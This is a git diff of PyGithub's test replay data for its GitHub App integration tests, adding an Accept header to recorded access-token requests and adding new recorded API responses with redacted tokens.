('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] +[{"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null},{"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] diff --git a/tests/ReplayData/GithubIntegration.testGetAccessToken.txt b/tests/ReplayData/GithubIntegration.testGetAccessToken.txt index 4f37651d02..a59fe84631 100644 --- a/tests/ReplayData/GithubIntegration.testGetAccessToken.txt +++ b/tests/ReplayData/GithubIntegration.testGetAccessToken.txt @@ -3,7 +3,7 @@ POST api.github.com None /app/installations/30614431/access_tokens -{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] @@ -14,7 +14,7 @@ POST api.github.com None /app/installations/30614487/access_tokens -{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] @@ -25,7 +25,7 @@ POST api.github.com None /app/installations/30614431/access_tokens -{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] diff --git a/tests/ReplayData/GithubIntegration.testGetAccessTokenForNoInstallation.txt b/tests/ReplayData/GithubIntegration.testGetAccessTokenForNoInstallation.txt index db1f2cb827..e93e8cee9a 100644 --- a/tests/ReplayData/GithubIntegration.testGetAccessTokenForNoInstallation.txt +++ b/tests/ReplayData/GithubIntegration.testGetAccessTokenForNoInstallation.txt @@ -3,9 +3,8 @@ POST api.github.com None /app/installations/40432121/access_tokens -{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 404 [('status', '404 NOT FOUND'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/apps#get-a-repository-installation-for-the-authenticated-app"} - diff --git a/tests/ReplayData/GithubIntegration.testGetAccessTokenWithExpiredJWT.txt b/tests/ReplayData/GithubIntegration.testGetAccessTokenWithExpiredJWT.txt index 0ce4c84770..fbb19a866c 100644 --- a/tests/ReplayData/GithubIntegration.testGetAccessTokenWithExpiredJWT.txt +++ b/tests/ReplayData/GithubIntegration.testGetAccessTokenWithExpiredJWT.txt @@ -3,9 +3,8 @@ POST api.github.com None /app/installations/30614431/access_tokens -{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 401 [('status', '401 UNAUTHORIZED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"'Expiration time' claim ('exp') must be a numeric value representing the future time at which the assertion expires","documentation_url":"https://docs.github.com/rest"} - diff --git a/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidData.txt b/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidData.txt index 86a61d112f..68baf0d882 100644 --- a/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidData.txt +++ b/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidData.txt @@ -8,4 +8,3 @@ None 400 [('status', '400 BAD REQUEST'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"Problems parsing JSON","documentation_url":"https://docs.github.com/rest/reference/apps#create-an-installation-access-token-for-an-app"} - diff --git a/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidPermissions.txt b/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidPermissions.txt index a9b790c55e..216ece9113 100644 --- a/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidPermissions.txt +++ b/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidPermissions.txt @@ -3,7 +3,7 @@ POST api.github.com None /app/installations/30614431/access_tokens -{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {"test-permissions": "read"}} 422 [('status', '422 UNPROCESSABLE ENTITY'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] diff --git a/tests/ReplayData/GithubIntegration.testGetApp.txt b/tests/ReplayData/GithubIntegration.testGetApp.txt new file mode 100644 index 0000000000..13e71457c0 --- /dev/null +++ b/tests/ReplayData/GithubIntegration.testGetApp.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/app +{'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} +None +200 +[('Date', 'Sun, 02 Aug 2020 04:57:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"76244215f77fc6f3d9262dea400b2567"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C28A:25FE:11739F:15A3E5:5F2647CC')] +{"id":75269,"slug":"pygithubtest","node_id":"MDM6QXBwNzUyNjk=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"PyGithubTest","description":"Sample App to test PyGithub","external_url":"https://pygithub.readthedocs.io","html_url":"https://github.com/apps/pygithubtest","created_at":"2020-08-01T17:23:46Z","updated_at":"2020-08-01T17:44:31Z","permissions":{"actions":"write","checks":"write","keys":"read","members":"read","metadata":"read","packages":"read","pages":"read","repository_hooks":"write","vulnerability_alerts":"read","workflows":"write"},"events":["check_run","check_suite","label","member","public"],"installations_count":1} diff --git a/tests/ReplayData/GithubIntegration.testGetAppInstallation.txt b/tests/ReplayData/GithubIntegration.testGetAppInstallation.txt index c7367f31a0..3ceee1a010 100644 --- a/tests/ReplayData/GithubIntegration.testGetAppInstallation.txt +++ b/tests/ReplayData/GithubIntegration.testGetAppInstallation.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null} - diff --git a/tests/ReplayData/GithubIntegration.testGetGithubForInstallation.txt b/tests/ReplayData/GithubIntegration.testGetGithubForInstallation.txt new file mode 100644 index 0000000000..c2e7091a60 --- /dev/null +++ b/tests/ReplayData/GithubIntegration.testGetGithubForInstallation.txt @@ -0,0 +1,21 @@ +http +POST +api.github.com +None +/app/installations/36541767/access_tokens +{'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python-Test', 'Content-Type': 'application/json'} +{"permissions": {}} +201 +[('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 07:14:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '231'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"04bc8f50376b119ec74528a85ed2ca423635d43147beced32e7285a87ee752b4"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D2F2:647B:BB00E92:BD3FE86:64900071')] +{"token":"private_token_removed","expires_at":"2023-06-19T08:14:58Z","permissions":{"metadata":"read"},"repository_selection":"selected"} + +http +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python-Test'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 07:14:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96638f82d16c24c7ac6a39ec94c5019c8934df328cd2d704e9bca157a1fe1e75"'), ('Last-Modified', 'Mon, 19 Jun 2023 02:15:49 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1687161558'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D2FE:1E0C:D6EFF60:D92EFC2:64900072')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/Py